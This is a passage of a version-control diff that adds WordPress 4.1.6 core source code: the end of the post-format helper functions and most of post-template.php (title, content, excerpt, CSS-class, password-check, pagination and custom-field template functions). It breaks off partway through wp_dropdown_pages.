+		return ( isset( $strings[$slug] ) ) ? $strings[$slug] : '';
+}
+
+/**
+ * Returns a link to a post format index.
+ *
+ * @since 3.1.0
+ *
+ * @param string $format The post format slug.
+ * @return string The post format term link.
+ */
+function get_post_format_link( $format ) {
+	$term = get_term_by('slug', 'post-format-' . $format, 'post_format' );
+	if ( ! $term || is_wp_error( $term ) )
+		return false;
+	return get_term_link( $term );
+}
+
+/**
+ * Filters the request to allow for the format prefix.
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _post_format_request( $qvs ) {
+	if ( ! isset( $qvs['post_format'] ) )
+		return $qvs;
+	$slugs = get_post_format_slugs();
+	if ( isset( $slugs[ $qvs['post_format'] ] ) )
+		$qvs['post_format'] = 'post-format-' . $slugs[ $qvs['post_format'] ];
+	$tax = get_taxonomy( 'post_format' );
+	if ( ! is_admin() )
+		$qvs['post_type'] = $tax->object_type;
+	return $qvs;
+}
+add_filter( 'request', '_post_format_request' );
+
+/**
+ * Filters the post format term link to remove the format prefix.
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _post_format_link( $link, $term, $taxonomy ) {
+	global $wp_rewrite;
+	if ( 'post_format' != $taxonomy )
+		return $link;
+	if ( $wp_rewrite->get_extra_permastruct( $taxonomy ) ) {
+		return str_replace( "/{$term->slug}", '/' . str_replace( 'post-format-', '', $term->slug ), $link );
+	} else {
+		$link = remove_query_arg( 'post_format', $link );
+		return add_query_arg( 'post_format', str_replace( 'post-format-', '', $term->slug ), $link );
+	}
+}
+add_filter( 'term_link', '_post_format_link', 10, 3 );
+
+/**
+ * Remove the post format prefix from the name property of the term object created by get_term().
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _post_format_get_term( $term ) {
+	if ( isset( $term->slug ) ) {
+		$term->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
+	}
+	return $term;
+}
+add_filter( 'get_post_format', '_post_format_get_term' );
+
+/**
+ * Remove the post format prefix from the name property of the term objects created by get_terms().
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _post_format_get_terms( $terms, $taxonomies, $args ) {
+	if ( in_array( 'post_format', (array) $taxonomies ) ) {
+		if ( isset( $args['fields'] ) && 'names' == $args['fields'] ) {
+			foreach( $terms as $order => $name ) {
+				$terms[$order] = get_post_format_string( str_replace( 'post-format-', '', $name ) );
+			}
+		} else {
+			foreach ( (array) $terms as $order => $term ) {
+				if ( isset( $term->taxonomy ) && 'post_format' == $term->taxonomy ) {
+					$terms[$order]->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
+				}
+			}
+		}
+	}
+	return $terms;
+}
+add_filter( 'get_terms', '_post_format_get_terms', 10, 3 );
+
+/**
+ * Remove the post format prefix from the name property of the term objects created by wp_get_object_terms().
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _post_format_wp_get_object_terms( $terms ) {
+	foreach ( (array) $terms as $order => $term ) {
+		if ( isset( $term->taxonomy ) && 'post_format' == $term->taxonomy ) {
+			$terms[$order]->name = get_post_format_string( str_replace( 'post-format-', '', $term->slug ) );
+		}
+	}
+	return $terms;
+}
+add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' );
Index: /tags/4.1.6/src/wp-includes/post-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/post-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/post-template.php	(revision 33402)
@@ -0,0 +1,1766 @@
+<?php
+/**
+ * WordPress Post Template Functions.
+ *
+ * Gets content for the current post in the loop.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Display the ID of the current item in the WordPress Loop.
+ *
+ * @since 0.71
+ */
+function the_ID() {
+	echo get_the_ID();
+}
+
+/**
+ * Retrieve the ID of the current item in the WordPress Loop.
+ *
+ * @since 2.1.0
+ *
+ * @return int|bool The ID of the current item in the WordPress Loop. False if $post is not set.
+ */
+function get_the_ID() {
+	$post = get_post();
+	return ! empty( $post ) ? $post->ID : false;
+}
+
+/**
+ * Display or retrieve the current post title with optional content.
+ *
+ * @since 0.71
+ *
+ * @param string $before Optional. Content to prepend to the title.
+ * @param string $after Optional. Content to append to the title.
+ * @param bool $echo Optional, default to true.Whether to display or return.
+ * @return null|string Null on no title. String if $echo parameter is false.
+ */
+function the_title($before = '', $after = '', $echo = true) {
+	$title = get_the_title();
+
+	if ( strlen($title) == 0 )
+		return;
+
+	$title = $before . $title . $after;
+
+	if ( $echo )
+		echo $title;
+	else
+		return $title;
+}
+
+/**
+ * Sanitize the current title when retrieving or displaying.
+ *
+ * Works like {@link the_title()}, except the parameters can be in a string or
+ * an array. See the function for what can be override in the $args parameter.
+ *
+ * The title before it is displayed will have the tags stripped and {@link
+ * esc_attr()} before it is passed to the user or displayed. The default
+ * as with {@link the_title()}, is to display the title.
+ *
+ * @since 2.3.0
+ *
+ * @param string|array $args {
+ *     Title attribute arguments. Optional.
+ *
+ *     @type string  $before Markup to prepend to the title. Default empty.
+ *     @type string  $after  Markup to append to the title. Default empty.
+ *     @type bool    $echo   Whether to echo or return the title. Default true for echo.
+ *     @type WP_Post $post   Current post object to retrieve the title for.
+ * }
+ * @return string|null Null on failure or display. String when echo is false.
+ */
+function the_title_attribute( $args = '' ) {
+	$defaults = array( 'before' => '', 'after' =>  '', 'echo' => true, 'post' => get_post() );
+	$r = wp_parse_args( $args, $defaults );
+
+	$title = get_the_title( $r['post'] );
+
+	if ( strlen( $title ) == 0 ) {
+		return;
+	}
+
+	$title = $r['before'] . $title . $r['after'];
+	$title = esc_attr( strip_tags( $title ) );
+
+	if ( $r['echo'] ) {
+		echo $title;
+	} else {
+		return $title;
+	}
+}
+
+/**
+ * Retrieve post title.
+ *
+ * If the post is protected and the visitor is not an admin, then "Protected"
+ * will be displayed before the post title. If the post is private, then
+ * "Private" will be located before the post title.
+ *
+ * @since 0.71
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string
+ */
+function get_the_title( $post = 0 ) {
+	$post = get_post( $post );
+
+	$title = isset( $post->post_title ) ? $post->post_title : '';
+	$id = isset( $post->ID ) ? $post->ID : 0;
+
+	if ( ! is_admin() ) {
+		if ( ! empty( $post->post_password ) ) {
+
+			/**
+			 * Filter the text prepended to the post title for protected posts.
+			 *
+			 * The filter is only applied on the front end.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string  $prepend Text displayed before the post title.
+			 *                         Default 'Protected: %s'.
+			 * @param WP_Post $post    Current post object.
+			 */
+			$protected_title_format = apply_filters( 'protected_title_format', __( 'Protected: %s' ), $post );
+			$title = sprintf( $protected_title_format, $title );
+		} else if ( isset( $post->post_status ) && 'private' == $post->post_status ) {
+
+			/**
+			 * Filter the text prepended to the post title of private posts.
+			 *
+			 * The filter is only applied on the front end.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string  $prepend Text displayed before the post title.
+			 *                         Default 'Private: %s'.
+			 * @param WP_Post $post    Current post object.
+			 */
+			$private_title_format = apply_filters( 'private_title_format', __( 'Private: %s' ), $post );
+			$title = sprintf( $private_title_format, $title );
+		}
+	}
+
+	/**
+	 * Filter the post title.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $title The post title.
+	 * @param int    $id    The post ID.
+	 */
+	return apply_filters( 'the_title', $title, $id );
+}
+
+/**
+ * Display the Post Global Unique Identifier (guid).
+ *
+ * The guid will appear to be a link, but should not be used as an link to the
+ * post. The reason you should not use it as a link, is because of moving the
+ * blog across domains.
+ *
+ * Url is escaped to make it xml safe
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $id Optional. Post ID or post object.
+ */
+function the_guid( $id = 0 ) {
+	echo esc_url( get_the_guid( $id ) );
+}
+
+/**
+ * Retrieve the Post Global Unique Identifier (guid).
+ *
+ * The guid will appear to be a link, but should not be used as an link to the
+ * post. The reason you should not use it as a link, is because of moving the
+ * blog across domains.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $id Optional. Post ID or post object.
+ * @return string
+ */
+function get_the_guid( $id = 0 ) {
+	$post = get_post($id);
+
+	/**
+	 * Filter the Global Unique Identifier (guid) of the post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $post_guid Global Unique Identifier (guid) of the post.
+	 */
+	return apply_filters( 'get_the_guid', $post->guid );
+}
+
+/**
+ * Display the post content.
+ *
+ * @since 0.71
+ *
+ * @param string $more_link_text Optional. Content for when there is more text.
+ * @param bool   $strip_teaser   Optional. Strip teaser content before the more text. Default is false.
+ */
+function the_content( $more_link_text = null, $strip_teaser = false) {
+	$content = get_the_content( $more_link_text, $strip_teaser );
+
+	/**
+	 * Filter the post content.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $content Content of the current post.
+	 */
+	$content = apply_filters( 'the_content', $content );
+	$content = str_replace( ']]>', ']]&gt;', $content );
+	echo $content;
+}
+
+/**
+ * Retrieve the post content.
+ *
+ * @since 0.71
+ *
+ * @param string $more_link_text Optional. Content for when there is more text.
+ * @param bool $strip_teaser Optional. Strip teaser content before the more text. Default is false.
+ * @return string
+ */
+function get_the_content( $more_link_text = null, $strip_teaser = false ) {
+	global $page, $more, $preview, $pages, $multipage;
+
+	$post = get_post();
+
+	if ( null === $more_link_text )
+		$more_link_text = __( '(more&hellip;)' );
+
+	$output = '';
+	$has_teaser = false;
+
+	// If post password required and it doesn't match the cookie.
+	if ( post_password_required( $post ) )
+		return get_the_password_form( $post );
+
+	if ( $page > count( $pages ) ) // if the requested page doesn't exist
+		$page = count( $pages ); // give them the highest numbered page that DOES exist
+
+	$content = $pages[$page - 1];
+	if ( preg_match( '/<!--more(.*?)?-->/', $content, $matches ) ) {
+		$content = explode( $matches[0], $content, 2 );
+		if ( ! empty( $matches[1] ) && ! empty( $more_link_text ) )
+			$more_link_text = strip_tags( wp_kses_no_null( trim( $matches[1] ) ) );
+
+		$has_teaser = true;
+	} else {
+		$content = array( $content );
+	}
+
+	if ( false !== strpos( $post->post_content, '<!--noteaser-->' ) && ( ! $multipage || $page == 1 ) )
+		$strip_teaser = true;
+
+	$teaser = $content[0];
+
+	if ( $more && $strip_teaser && $has_teaser )
+		$teaser = '';
+
+	$output .= $teaser;
+
+	if ( count( $content ) > 1 ) {
+		if ( $more ) {
+			$output .= '<span id="more-' . $post->ID . '"></span>' . $content[1];
+		} else {
+			if ( ! empty( $more_link_text ) )
+
+				/**
+				 * Filter the Read More link text.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param string $more_link_element Read More link element.
+				 * @param string $more_link_text    Read More text.
+				 */
+				$output .= apply_filters( 'the_content_more_link', ' <a href="' . get_permalink() . "#more-{$post->ID}\" class=\"more-link\">$more_link_text</a>", $more_link_text );
+			$output = force_balance_tags( $output );
+		}
+	}
+
+	if ( $preview ) // Preview fix for JavaScript bug with foreign languages.
+		$output =	preg_replace_callback( '/\%u([0-9A-F]{4})/', '_convert_urlencoded_to_entities', $output );
+
+	return $output;
+}
+
+/**
+ * Preview fix for JavaScript bug with foreign languages.
+ *
+ * @since 3.1.0
+ * @access private
+ * @param array $match Match array from preg_replace_callback
+ * @return string
+ */
+function _convert_urlencoded_to_entities( $match ) {
+	return '&#' . base_convert( $match[1], 16, 10 ) . ';';
+}
+
+/**
+ * Display the post excerpt.
+ *
+ * @since 0.71
+ */
+function the_excerpt() {
+
+	/**
+	 * Filter the displayed post excerpt.
+	 *
+	 * @since 0.71
+	 *
+	 * @see get_the_excerpt()
+	 *
+	 * @param string $post_excerpt The post excerpt.
+	 */
+	echo apply_filters( 'the_excerpt', get_the_excerpt() );
+}
+
+/**
+ * Retrieve the post excerpt.
+ *
+ * @since 0.71
+ *
+ * @param mixed $deprecated Not used.
+ * @return string
+ */
+function get_the_excerpt( $deprecated = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.3' );
+
+	$post = get_post();
+	if ( empty( $post ) ) {
+		return '';
+	}
+
+	if ( post_password_required() ) {
+		return __( 'There is no excerpt because this is a protected post.' );
+	}
+
+	/**
+	 * Filter the retrieved post excerpt.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $post_excerpt The post excerpt.
+	 */
+	return apply_filters( 'get_the_excerpt', $post->post_excerpt );
+}
+
+/**
+ * Whether post has excerpt.
+ *
+ * @since 2.3.0
+ *
+ * @param int|WP_Post $id Optional. Post ID or post object.
+ * @return bool
+ */
+function has_excerpt( $id = 0 ) {
+	$post = get_post( $id );
+	return ( !empty( $post->post_excerpt ) );
+}
+
+/**
+ * Display the classes for the post div.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int|WP_Post $post_id Optional. Post ID or post object.
+ */
+function post_class( $class = '', $post_id = null ) {
+	// Separates classes with a single space, collates classes for post DIV
+	echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"';
+}
+
+/**
+ * Retrieve the classes for the post div as an array.
+ *
+ * The class names are many. If the post is a sticky, then the 'sticky'
+ * class name. The class 'hentry' is always added to each post. If the post has a
+ * post thumbnail, 'has-post-thumbnail' is added as a class. For each
+ * category, the class will be added with 'category-' with category slug is
+ * added. The tags are the same way as the categories with 'tag-' before the tag
+ * slug. All classes are passed through the filter, 'post_class' with the list
+ * of classes, followed by $class parameter value, with the post ID as the last
+ * parameter.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int|WP_Post $post_id Optional. Post ID or post object.
+ * @return array Array of classes.
+ */
+function get_post_class( $class = '', $post_id = null ) {
+	$post = get_post($post_id);
+
+	$classes = array();
+
+	if ( empty($post) )
+		return $classes;
+
+	$classes[] = 'post-' . $post->ID;
+	if ( ! is_admin() )
+		$classes[] = $post->post_type;
+	$classes[] = 'type-' . $post->post_type;
+	$classes[] = 'status-' . $post->post_status;
+
+	// Post Format
+	if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
+		$post_format = get_post_format( $post->ID );
+
+		if ( $post_format && !is_wp_error($post_format) )
+			$classes[] = 'format-' . sanitize_html_class( $post_format );
+		else
+			$classes[] = 'format-standard';
+	}
+
+	// Post requires password
+	if ( post_password_required( $post->ID ) ) {
+		$classes[] = 'post-password-required';
+	// Post thumbnails
+	} elseif ( ! is_attachment( $post ) && current_theme_supports( 'post-thumbnails' ) && has_post_thumbnail( $post->ID ) ) {
+		$classes[] = 'has-post-thumbnail';
+	}
+
+	// sticky for Sticky Posts
+	if ( is_sticky( $post->ID ) ) {
+		if ( is_home() && ! is_paged() ) {
+			$classes[] = 'sticky';
+		} elseif ( is_admin() ) {
+			$classes[] = 'status-sticky';
+		}
+	}
+
+	// hentry for hAtom compliance
+	$classes[] = 'hentry';
+
+	// Categories
+	if ( is_object_in_taxonomy( $post->post_type, 'category' ) ) {
+		foreach ( (array) get_the_category($post->ID) as $cat ) {
+			if ( empty($cat->slug ) )
+				continue;
+			$classes[] = 'category-' . sanitize_html_class($cat->slug, $cat->term_id);
+		}
+	}
+
+	// Tags
+	if ( is_object_in_taxonomy( $post->post_type, 'post_tag' ) ) {
+		foreach ( (array) get_the_tags($post->ID) as $tag ) {
+			if ( empty($tag->slug ) )
+				continue;
+			$classes[] = 'tag-' . sanitize_html_class($tag->slug, $tag->term_id);
+		}
+	}
+
+	if ( !empty($class) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split('#\s+#', $class);
+		$classes = array_merge($classes, $class);
+	}
+
+	$classes = array_map('esc_attr', $classes);
+
+	/**
+	 * Filter the list of CSS classes for the current post.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array  $classes An array of post classes.
+	 * @param string $class   A comma-separated list of additional classes added to the post.
+	 * @param int    $post_id The post ID.
+	 */
+	$classes = apply_filters( 'post_class', $classes, $class, $post->ID );
+
+	return array_unique( $classes );
+}
+
+/**
+ * Display the classes for the body element.
+ *
+ * @since 2.8.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ */
+function body_class( $class = '' ) {
+	// Separates classes with a single space, collates classes for body element
+	echo 'class="' . join( ' ', get_body_class( $class ) ) . '"';
+}
+
+/**
+ * Retrieve the classes for the body element as an array.
+ *
+ * @since 2.8.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @return array Array of classes.
+ */
+function get_body_class( $class = '' ) {
+	global $wp_query, $wpdb;
+
+	$classes = array();
+
+	if ( is_rtl() )
+		$classes[] = 'rtl';
+
+	if ( is_front_page() )
+		$classes[] = 'home';
+	if ( is_home() )
+		$classes[] = 'blog';
+	if ( is_archive() )
+		$classes[] = 'archive';
+	if ( is_date() )
+		$classes[] = 'date';
+	if ( is_search() ) {
+		$classes[] = 'search';
+		$classes[] = $wp_query->posts ? 'search-results' : 'search-no-results';
+	}
+	if ( is_paged() )
+		$classes[] = 'paged';
+	if ( is_attachment() )
+		$classes[] = 'attachment';
+	if ( is_404() )
+		$classes[] = 'error404';
+
+	if ( is_single() ) {
+		$post_id = $wp_query->get_queried_object_id();
+		$post = $wp_query->get_queried_object();
+
+		$classes[] = 'single';
+		if ( isset( $post->post_type ) ) {
+			$classes[] = 'single-' . sanitize_html_class($post->post_type, $post_id);
+			$classes[] = 'postid-' . $post_id;
+
+			// Post Format
+			if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
+				$post_format = get_post_format( $post->ID );
+
+				if ( $post_format && !is_wp_error($post_format) )
+					$classes[] = 'single-format-' . sanitize_html_class( $post_format );
+				else
+					$classes[] = 'single-format-standard';
+			}
+		}
+
+		if ( is_attachment() ) {
+			$mime_type = get_post_mime_type($post_id);
+			$mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' );
+			$classes[] = 'attachmentid-' . $post_id;
+			$classes[] = 'attachment-' . str_replace( $mime_prefix, '', $mime_type );
+		}
+	} elseif ( is_archive() ) {
+		if ( is_post_type_archive() ) {
+			$classes[] = 'post-type-archive';
+			$post_type = get_query_var( 'post_type' );
+			if ( is_array( $post_type ) )
+				$post_type = reset( $post_type );
+			$classes[] = 'post-type-archive-' . sanitize_html_class( $post_type );
+		} else if ( is_author() ) {
+			$author = $wp_query->get_queried_object();
+			$classes[] = 'author';
+			if ( isset( $author->user_nicename ) ) {
+				$classes[] = 'author-' . sanitize_html_class( $author->user_nicename, $author->ID );
+				$classes[] = 'author-' . $author->ID;
+			}
+		} elseif ( is_category() ) {
+			$cat = $wp_query->get_queried_object();
+			$classes[] = 'category';
+			if ( isset( $cat->term_id ) ) {
+				$classes[] = 'category-' . sanitize_html_class( $cat->slug, $cat->term_id );
+				$classes[] = 'category-' . $cat->term_id;
+			}
+		} elseif ( is_tag() ) {
+			$tags = $wp_query->get_queried_object();
+			$classes[] = 'tag';
+			if ( isset( $tags->term_id ) ) {
+				$classes[] = 'tag-' . sanitize_html_class( $tags->slug, $tags->term_id );
+				$classes[] = 'tag-' . $tags->term_id;
+			}
+		} elseif ( is_tax() ) {
+			$term = $wp_query->get_queried_object();
+			if ( isset( $term->term_id ) ) {
+				$classes[] = 'tax-' . sanitize_html_class( $term->taxonomy );
+				$classes[] = 'term-' . sanitize_html_class( $term->slug, $term->term_id );
+				$classes[] = 'term-' . $term->term_id;
+			}
+		}
+	} elseif ( is_page() ) {
+		$classes[] = 'page';
+
+		$page_id = $wp_query->get_queried_object_id();
+
+		$post = get_post($page_id);
+
+		$classes[] = 'page-id-' . $page_id;
+
+		if ( get_pages( array( 'parent' => $page_id, 'number' => 1 ) ) ) {
+			$classes[] = 'page-parent';
+		}
+
+		if ( $post->post_parent ) {
+			$classes[] = 'page-child';
+			$classes[] = 'parent-pageid-' . $post->post_parent;
+		}
+		if ( is_page_template() ) {
+			$classes[] = 'page-template';
+
+			$template_slug  = get_page_template_slug( $page_id );
+			$template_parts = explode( '/', $template_slug );
+
+			foreach ( $template_parts as $part ) {
+				$classes[] = 'page-template-' . sanitize_html_class( str_replace( array( '.', '/' ), '-', basename( $part, '.php' ) ) );
+			}
+			$classes[] = 'page-template-' . sanitize_html_class( str_replace( '.', '-', $template_slug ) );
+		} else {
+			$classes[] = 'page-template-default';
+		}
+	}
+
+	if ( is_user_logged_in() )
+		$classes[] = 'logged-in';
+
+	if ( is_admin_bar_showing() ) {
+		$classes[] = 'admin-bar';
+		$classes[] = 'no-customize-support';
+	}
+
+	if ( get_theme_mod( 'background_color' ) || get_background_image() )
+		$classes[] = 'custom-background';
+
+	$page = $wp_query->get( 'page' );
+
+	if ( ! $page || $page < 2 )
+		$page = $wp_query->get( 'paged' );
+
+	if ( $page && $page > 1 && ! is_404() ) {
+		$classes[] = 'paged-' . $page;
+
+		if ( is_single() )
+			$classes[] = 'single-paged-' . $page;
+		elseif ( is_page() )
+			$classes[] = 'page-paged-' . $page;
+		elseif ( is_category() )
+			$classes[] = 'category-paged-' . $page;
+		elseif ( is_tag() )
+			$classes[] = 'tag-paged-' . $page;
+		elseif ( is_date() )
+			$classes[] = 'date-paged-' . $page;
+		elseif ( is_author() )
+			$classes[] = 'author-paged-' . $page;
+		elseif ( is_search() )
+			$classes[] = 'search-paged-' . $page;
+		elseif ( is_post_type_archive() )
+			$classes[] = 'post-type-paged-' . $page;
+	}
+
+	if ( ! empty( $class ) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split( '#\s+#', $class );
+		$classes = array_merge( $classes, $class );
+	} else {
+		// Ensure that we always coerce class to being an array.
+		$class = array();
+	}
+
+	$classes = array_map( 'esc_attr', $classes );
+
+	/**
+	 * Filter the list of CSS body classes for the current post or page.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array  $classes An array of body classes.
+	 * @param string $class   A comma-separated list of additional classes added to the body.
+	 */
+	$classes = apply_filters( 'body_class', $classes, $class );
+
+	return array_unique( $classes );
+}
+
+/**
+ * Whether post requires password and correct password has been provided.
+ *
+ * @since 2.7.0
+ *
+ * @param int|WP_Post $post An optional post. Global $post used if not provided.
+ * @return bool false if a password is not required or the correct password cookie is present, true otherwise.
+ */
+function post_password_required( $post = null ) {
+	$post = get_post($post);
+
+	if ( empty( $post->post_password ) )
+		return false;
+
+	if ( ! isset( $_COOKIE['wp-postpass_' . COOKIEHASH] ) )
+		return true;
+
+	require_once ABSPATH . WPINC . '/class-phpass.php';
+	$hasher = new PasswordHash( 8, true );
+
+	$hash = wp_unslash( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] );
+	if ( 0 !== strpos( $hash, '$P$B' ) )
+		return true;
+
+	return ! $hasher->CheckPassword( $post->post_password, $hash );
+}
+
+//
+// Page Template Functions for usage in Themes
+//
+
+/**
+ * The formatted output of a list of pages.
+ *
+ * Displays page links for paginated posts (i.e. includes the <!--nextpage-->.
+ * Quicktag one or more times). This tag must be within The Loop.
+ *
+ * @since 1.2.0
+ *
+ * @param string|array $args {
+ *     Optional. Array or string of default arguments.
+ *
+ *     @type string       $before           HTML or text to prepend to each link. Default is `<p> Pages:`.
+ *     @type string       $after            HTML or text to append to each link. Default is `</p>`.
+ *     @type string       $link_before      HTML or text to prepend to each link, inside the `<a>` tag.
+ *                                          Also prepended to the current item, which is not linked. Default empty.
+ *     @type string       $link_after       HTML or text to append to each Pages link inside the `<a>` tag.
+ *                                          Also appended to the current item, which is not linked. Default empty.
+ *     @type string       $next_or_number   Indicates whether page numbers should be used. Valid values are number
+ *                                          and next. Default is 'number'.
+ *     @type string       $separator        Text between pagination links. Default is ' '.
+ *     @type string       $nextpagelink     Link text for the next page link, if available. Default is 'Next Page'.
+ *     @type string       $previouspagelink Link text for the previous page link, if available. Default is 'Previous Page'.
+ *     @type string       $pagelink         Format string for page numbers. The % in the parameter string will be
+ *                                          replaced with the page number, so 'Page %' generates "Page 1", "Page 2", etc.
+ *                                          Defaults to '%', just the page number.
+ *     @type int|bool     $echo             Whether to echo or not. Accepts 1|true or 0|false. Default 1|true.
+ * }
+ * @return string Formatted output in HTML.
+ */
+function wp_link_pages( $args = '' ) {
+	$defaults = array(
+		'before'           => '<p>' . __( 'Pages:' ),
+		'after'            => '</p>',
+		'link_before'      => '',
+		'link_after'       => '',
+		'next_or_number'   => 'number',
+		'separator'        => ' ',
+		'nextpagelink'     => __( 'Next page' ),
+		'previouspagelink' => __( 'Previous page' ),
+		'pagelink'         => '%',
+		'echo'             => 1
+	);
+
+	$params = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filter the arguments used in retrieving page links for paginated posts.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $params An array of arguments for page links for paginated posts.
+	 */
+	$r = apply_filters( 'wp_link_pages_args', $params );
+
+	global $page, $numpages, $multipage, $more;
+
+	$output = '';
+	if ( $multipage ) {
+		if ( 'number' == $r['next_or_number'] ) {
+			$output .= $r['before'];
+			for ( $i = 1; $i <= $numpages; $i++ ) {
+				$link = $r['link_before'] . str_replace( '%', $i, $r['pagelink'] ) . $r['link_after'];
+				if ( $i != $page || ! $more && 1 == $page ) {
+					$link = _wp_link_page( $i ) . $link . '</a>';
+				}
+				/**
+				 * Filter the HTML output of individual page number links.
+				 *
+				 * @since 3.6.0
+				 *
+				 * @param string $link The page number HTML output.
+				 * @param int    $i    Page number for paginated posts' page links.
+				 */
+				$link = apply_filters( 'wp_link_pages_link', $link, $i );
+
+				// Use the custom links separator beginning with the second link.
+				$output .= ( 1 === $i ) ? ' ' : $r['separator'];
+				$output .= $link;
+			}
+			$output .= $r['after'];
+		} elseif ( $more ) {
+			$output .= $r['before'];
+			$prev = $page - 1;
+			if ( $prev ) {
+				$link = _wp_link_page( $prev ) . $r['link_before'] . $r['previouspagelink'] . $r['link_after'] . '</a>';
+
+				/** This filter is documented in wp-includes/post-template.php */
+				$output .= apply_filters( 'wp_link_pages_link', $link, $prev );
+			}
+			$next = $page + 1;
+			if ( $next <= $numpages ) {
+				if ( $prev ) {
+					$output .= $r['separator'];
+				}
+				$link = _wp_link_page( $next ) . $r['link_before'] . $r['nextpagelink'] . $r['link_after'] . '</a>';
+
+				/** This filter is documented in wp-includes/post-template.php */
+				$output .= apply_filters( 'wp_link_pages_link', $link, $next );
+			}
+			$output .= $r['after'];
+		}
+	}
+
+	/**
+	 * Filter the HTML output of page links for paginated posts.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $output HTML output of paginated posts' page links.
+	 * @param array  $args   An array of arguments.
+	 */
+	$html = apply_filters( 'wp_link_pages', $output, $args );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	}
+	return $html;
+}
+
+/**
+ * Helper function for wp_link_pages().
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param int $i Page number.
+ * @return string Link.
+ */
+function _wp_link_page( $i ) {
+	global $wp_rewrite;
+	$post = get_post();
+
+	if ( 1 == $i ) {
+		$url = get_permalink();
+	} else {
+		if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) )
+			$url = add_query_arg( 'page', $i, get_permalink() );
+		elseif ( 'page' == get_option('show_on_front') && get_option('page_on_front') == $post->ID )
+			$url = trailingslashit(get_permalink()) . user_trailingslashit("$wp_rewrite->pagination_base/" . $i, 'single_paged');
+		else
+			$url = trailingslashit(get_permalink()) . user_trailingslashit($i, 'single_paged');
+	}
+
+	if ( is_preview() ) {
+		$url = add_query_arg( array(
+			'preview' => 'true'
+		), $url );
+
+		if ( ( 'draft' !== $post->post_status ) && isset( $_GET['preview_id'], $_GET['preview_nonce'] ) ) {
+			$url = add_query_arg( array(
+				'preview_id'    => wp_unslash( $_GET['preview_id'] ),
+				'preview_nonce' => wp_unslash( $_GET['preview_nonce'] )
+			), $url );
+		}
+	}
+
+	return '<a href="' . esc_url( $url ) . '">';
+}
+
+//
+// Post-meta: Custom per-post fields.
+//
+
+/**
+ * Retrieve post custom meta data field.
+ *
+ * @since 1.5.0
+ *
+ * @param string $key Meta data key name.
+ * @return bool|string|array Array of values or single value, if only one element exists. False will be returned if key does not exist.
+ */
+function post_custom( $key = '' ) {
+	$custom = get_post_custom();
+
+	if ( !isset( $custom[$key] ) )
+		return false;
+	elseif ( 1 == count($custom[$key]) )
+		return $custom[$key][0];
+	else
+		return $custom[$key];
+}
+
+/**
+ * Display list of post custom fields.
+ *
+ * @internal This will probably change at some point...
+ * @since 1.2.0
+ */
+function the_meta() {
+	if ( $keys = get_post_custom_keys() ) {
+		echo "<ul class='post-meta'>\n";
+		foreach ( (array) $keys as $key ) {
+			$keyt = trim($key);
+			if ( is_protected_meta( $keyt, 'post' ) )
+				continue;
+			$values = array_map('trim', get_post_custom_values($key));
+			$value = implode($values,', ');
+
+			/**
+			 * Filter the HTML output of the li element in the post custom fields list.
+			 *
+			 * @since 2.2.0
+			 *
+			 * @param string $html  The HTML output for the li element.
+			 * @param string $key   Meta key.
+			 * @param string $value Meta value.
+			 */
+			echo apply_filters( 'the_meta_key', "<li><span class='post-meta-key'>$key:</span> $value</li>\n", $key, $value );
+		}
+		echo "</ul>\n";
+	}
+}
+
+//
+// Pages
+//
+
+/**
+ * Retrieve or display list of pages as a dropdown (select list).
+ *
+ * @since 2.1.0
+ *
+ * @param array|string $args Optional. Override default arguments.
+ * @return string HTML content, if not displaying.
+ */
+function wp_dropdown_pages( $args = '' ) {
+	$defaults = array(
+		'depth' => 0, 'child_of' => 0,
+		'selected' => 0, 'echo' => 1,
+		'name' => 'page_id', 'id' => '',
+		'show_option_none' => '', 'show_option_no_change' => '',
+		'option_none_value' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$pages = get_pages( $r );
+	$output = '';
+	// Back-compat with old system where both id and name were based on $name argument
+	if ( empty( $r['id'] ) ) {
+		$r['id'] = $r['name'];
+	}
+
+	if ( ! empty( $pages ) ) {
+		$output = "<select name='" . esc_attr( $r['name'] ) . "' id='" . esc_attr( $r['id'] ) . "'>\n";
+		if ( $r['show_option_no_change'] ) {
